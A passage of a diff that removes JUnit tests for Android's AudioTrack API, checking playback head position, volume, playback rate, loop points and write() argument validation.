-    public void testPlaybackHeadPositionAfterFlush() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlaybackHeadPositionAfterFlush";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.play();
-        Thread.sleep(WAIT_MSEC);
-        track.stop();
-        track.flush();
-        log(TEST_NAME, "position =" + track.getPlaybackHeadPosition());
-        assertTrue(TEST_NAME, track.getPlaybackHeadPosition() == 0);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 3: getPlaybackHeadPosition() is 0 after stop();
-    @Test
-    public void testPlaybackHeadPositionAfterStop() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlaybackHeadPositionAfterStop";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final int TEST_LOOP_CNT = 10;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.play();
-        Thread.sleep(WAIT_MSEC);
-        track.stop();
-        int count = 0;
-        int pos;
-        do {
-            Thread.sleep(WAIT_MSEC);
-            pos = track.getPlaybackHeadPosition();
-            count++;
-        } while((pos != 0) && (count < TEST_LOOP_CNT));
-        log(TEST_NAME, "position =" + pos + ", read count ="+count);
-        assertTrue(TEST_NAME, pos == 0);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 4: getPlaybackHeadPosition() is > 0 after play(); pause();
-    @Test
-    public void testPlaybackHeadPositionAfterPause() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlaybackHeadPositionAfterPause";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.play();
-        Thread.sleep(100);
-        track.pause();
-        int pos = track.getPlaybackHeadPosition();
-        log(TEST_NAME, "position =" + pos);
-        assertTrue(TEST_NAME, pos > 0);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 5: getPlaybackHeadPosition() remains 0 after pause(); flush(); play();
-    @Test
-    public void testPlaybackHeadPositionAfterFlushAndPlay() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlaybackHeadPositionAfterFlushAndPlay";
-        final int TEST_CONF = AudioFormat.CHANNEL_OUT_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-        final int TEST_SR = AudioTrack.getNativeOutputSampleRate(TEST_STREAM_TYPE);
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.play();
-        Thread.sleep(100);
-        track.pause();
-
-        int pos = track.getPlaybackHeadPosition();
-        log(TEST_NAME, "position after pause =" + pos);
-        assertTrue(TEST_NAME, pos > 0);
-
-        track.flush();
-        pos = track.getPlaybackHeadPosition();
-        log(TEST_NAME, "position after flush =" + pos);
-        assertTrue(TEST_NAME, pos == 0);
-
-        track.play();
-        pos = track.getPlaybackHeadPosition();
-        log(TEST_NAME, "position after play =" + pos);
-        assertTrue(TEST_NAME, pos == 0);
-
-        Thread.sleep(100);
-        pos = track.getPlaybackHeadPosition();
-        log(TEST_NAME, "position after 100 ms sleep =" + pos);
-        assertTrue(TEST_NAME, pos == 0);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // -----------------------------------------------------------------
-    // Playback properties
-    // ----------------------------------
-
-    // Common code for the testSetStereoVolume* and testSetVolume* tests
-    private void testSetVolumeCommon(String testName, float vol, boolean isStereo) throws Exception {
-        // constants for test
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.play();
-        if (isStereo) {
-            // TODO to really test this, do a pan instead of using same value for left and right
-            assertTrue(testName, track.setStereoVolume(vol, vol) == AudioTrack.SUCCESS);
-        } else {
-            assertTrue(testName, track.setVolume(vol) == AudioTrack.SUCCESS);
-        }
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 1: setStereoVolume() with max volume returns SUCCESS
-    @Test
-    public void testSetStereoVolumeMax() throws Exception {
-        final String TEST_NAME = "testSetStereoVolumeMax";
-        float maxVol = AudioTrack.getMaxVolume();
-        testSetVolumeCommon(TEST_NAME, maxVol, true /*isStereo*/);
-    }
-
-    // Test case 2: setStereoVolume() with min volume returns SUCCESS
-    @Test
-    public void testSetStereoVolumeMin() throws Exception {
-        final String TEST_NAME = "testSetStereoVolumeMin";
-        float minVol = AudioTrack.getMinVolume();
-        testSetVolumeCommon(TEST_NAME, minVol, true /*isStereo*/);
-    }
-
-    // Test case 3: setStereoVolume() with mid volume returns SUCCESS
-    @Test
-    public void testSetStereoVolumeMid() throws Exception {
-        final String TEST_NAME = "testSetStereoVolumeMid";
-        float midVol = (AudioTrack.getMaxVolume() - AudioTrack.getMinVolume()) / 2;
-        testSetVolumeCommon(TEST_NAME, midVol, true /*isStereo*/);
-    }
-
-    // Test case 4: setPlaybackRate() with half the content rate returns SUCCESS
-    @Test
-    public void testSetPlaybackRate() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackRate";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.play();
-        assertTrue(TEST_NAME, track.setPlaybackRate((int) (TEST_SR / 2)) == AudioTrack.SUCCESS);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 5: setPlaybackRate(0) returns bad value error
-    @Test
-    public void testSetPlaybackRateZero() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackRateZero";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.setPlaybackRate(0) == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 6: setPlaybackRate() accepts values twice the output sample
-    // rate
-    @Test
-    public void testSetPlaybackRateTwiceOutputSR() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackRateTwiceOutputSR";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        int outputSR = AudioTrack.getNativeOutputSampleRate(TEST_STREAM_TYPE);
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.play();
-        assertTrue(TEST_NAME, track.setPlaybackRate(2 * outputSR) == AudioTrack.SUCCESS);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 7: setPlaybackRate() and retrieve value, should be the same for
-    // half the content SR
-    @Test
-    public void testSetGetPlaybackRate() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetGetPlaybackRate";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.play();
-        track.setPlaybackRate((int) (TEST_SR / 2));
-        assertTrue(TEST_NAME, track.getPlaybackRate() == (int) (TEST_SR / 2));
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 8: setPlaybackRate() invalid operation if track not initialized
-    @Test
-    public void testSetPlaybackRateUninit() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackRateUninit";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-        // -------- test --------------
-        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
-        assertEquals(TEST_NAME, AudioTrack.ERROR_INVALID_OPERATION,
-                track.setPlaybackRate(TEST_SR / 2));
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 9: setVolume() with max volume returns SUCCESS
-    @Test
-    public void testSetVolumeMax() throws Exception {
-        final String TEST_NAME = "testSetVolumeMax";
-        float maxVol = AudioTrack.getMaxVolume();
-        testSetVolumeCommon(TEST_NAME, maxVol, false /*isStereo*/);
-    }
-
-    // Test case 10: setVolume() with min volume returns SUCCESS
-    @Test
-    public void testSetVolumeMin() throws Exception {
-        final String TEST_NAME = "testSetVolumeMin";
-        float minVol = AudioTrack.getMinVolume();
-        testSetVolumeCommon(TEST_NAME, minVol, false /*isStereo*/);
-    }
-
-    // Test case 11: setVolume() with mid volume returns SUCCESS
-    @Test
-    public void testSetVolumeMid() throws Exception {
-        final String TEST_NAME = "testSetVolumeMid";
-        float midVol = (AudioTrack.getMaxVolume() - AudioTrack.getMinVolume()) / 2;
-        testSetVolumeCommon(TEST_NAME, midVol, false /*isStereo*/);
-    }
-
-    // -----------------------------------------------------------------
-    // Playback progress
-    // ----------------------------------
-
-    // Test case 1: setPlaybackHeadPosition() on playing track
-    @Test
-    public void testSetPlaybackHeadPositionPlaying() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackHeadPositionPlaying";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.play();
-        assertTrue(TEST_NAME,
-                track.setPlaybackHeadPosition(10) == AudioTrack.ERROR_INVALID_OPERATION);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 2: setPlaybackHeadPosition() on stopped track
-    @Test
-    public void testSetPlaybackHeadPositionStopped() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackHeadPositionStopped";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
-        track.play();
-        track.stop();
-        assertEquals(TEST_NAME, AudioTrack.PLAYSTATE_STOPPED, track.getPlayState());
-        assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackHeadPosition(10));
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 3: setPlaybackHeadPosition() on paused track
-    @Test
-    public void testSetPlaybackHeadPositionPaused() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackHeadPositionPaused";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
-        track.play();
-        track.pause();
-        assertEquals(TEST_NAME, AudioTrack.PLAYSTATE_PAUSED, track.getPlayState());
-        assertEquals(TEST_NAME, AudioTrack.SUCCESS, track.setPlaybackHeadPosition(10));
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 4: setPlaybackHeadPosition() beyond what has been written
-    @Test
-    public void testSetPlaybackHeadPositionTooFar() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetPlaybackHeadPositionTooFar";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // make up a frame index that's beyond what has been written: go from
-        // buffer size to frame
-        // count (given the audio track properties), and add 77.
-        int frameIndexTooFar = (2 * minBuffSize / 2) + 77;
-        // -------- test --------------
-        assertEquals(TEST_NAME, AudioTrack.STATE_NO_STATIC_DATA, track.getState());
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertEquals(TEST_NAME, AudioTrack.STATE_INITIALIZED, track.getState());
-        track.play();
-        track.stop();
-        assertEquals(TEST_NAME, AudioTrack.PLAYSTATE_STOPPED, track.getPlayState());
-        assertEquals(TEST_NAME, AudioTrack.ERROR_BAD_VALUE,
-                track.setPlaybackHeadPosition(frameIndexTooFar));
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 5: setLoopPoints() fails for MODE_STREAM
-    @Test
-    public void testSetLoopPointsStream() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetLoopPointsStream";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.setLoopPoints(2, 50, 2) == AudioTrack.ERROR_INVALID_OPERATION);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 6: setLoopPoints() fails start > end
-    @Test
-    public void testSetLoopPointsStartAfterEnd() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetLoopPointsStartAfterEnd";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.setLoopPoints(50, 0, 2) == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 6: setLoopPoints() success
-    @Test
-    public void testSetLoopPointsSuccess() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetLoopPointsSuccess";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.setLoopPoints(0, 50, 2) == AudioTrack.SUCCESS);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 7: setLoopPoints() fails with loop length bigger than content
-    @Test
-    public void testSetLoopPointsLoopTooLong() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetLoopPointsLoopTooLong";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        int dataSizeInFrames = minBuffSize / 2;
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_NO_STATIC_DATA);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.setLoopPoints(10, dataSizeInFrames + 20, 2) ==
-            AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 8: setLoopPoints() fails with start beyond what can be written
-    // for the track
-    @Test
-    public void testSetLoopPointsStartTooFar() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetLoopPointsStartTooFar";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        int dataSizeInFrames = minBuffSize / 2;// 16bit data
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_NO_STATIC_DATA);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME,
-                track.setLoopPoints(dataSizeInFrames + 20, dataSizeInFrames + 50, 2) ==
-                    AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 9: setLoopPoints() fails with end beyond what can be written
-    // for the track
-    @Test
-    public void testSetLoopPointsEndTooFar() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testSetLoopPointsEndTooFar";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STATIC;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        int dataSizeInFrames = minBuffSize / 2;// 16bit data
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_NO_STATIC_DATA);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        int loopCount = 2;
-        assertTrue(TEST_NAME,
-                track.setLoopPoints(dataSizeInFrames - 10, dataSizeInFrames + 50, loopCount) ==
-                    AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // -----------------------------------------------------------------
-    // Audio data supply
-    // ----------------------------------
-
-    // Test case 1: write() fails when supplying less data (bytes) than declared
-    @Test
-    public void testWriteByteOffsetTooBig() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testWriteByteOffsetTooBig";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_MONO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        int offset = 10;
-        assertTrue(TEST_NAME, track.write(data, offset, data.length) == AudioTrack.ERROR_BAD_VALUE);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 2: write() fails when supplying less data (shorts) than
-    // declared
-    @Test
-    public void testWriteShortOffsetTooBig() throws Exception {
-        // constants for test
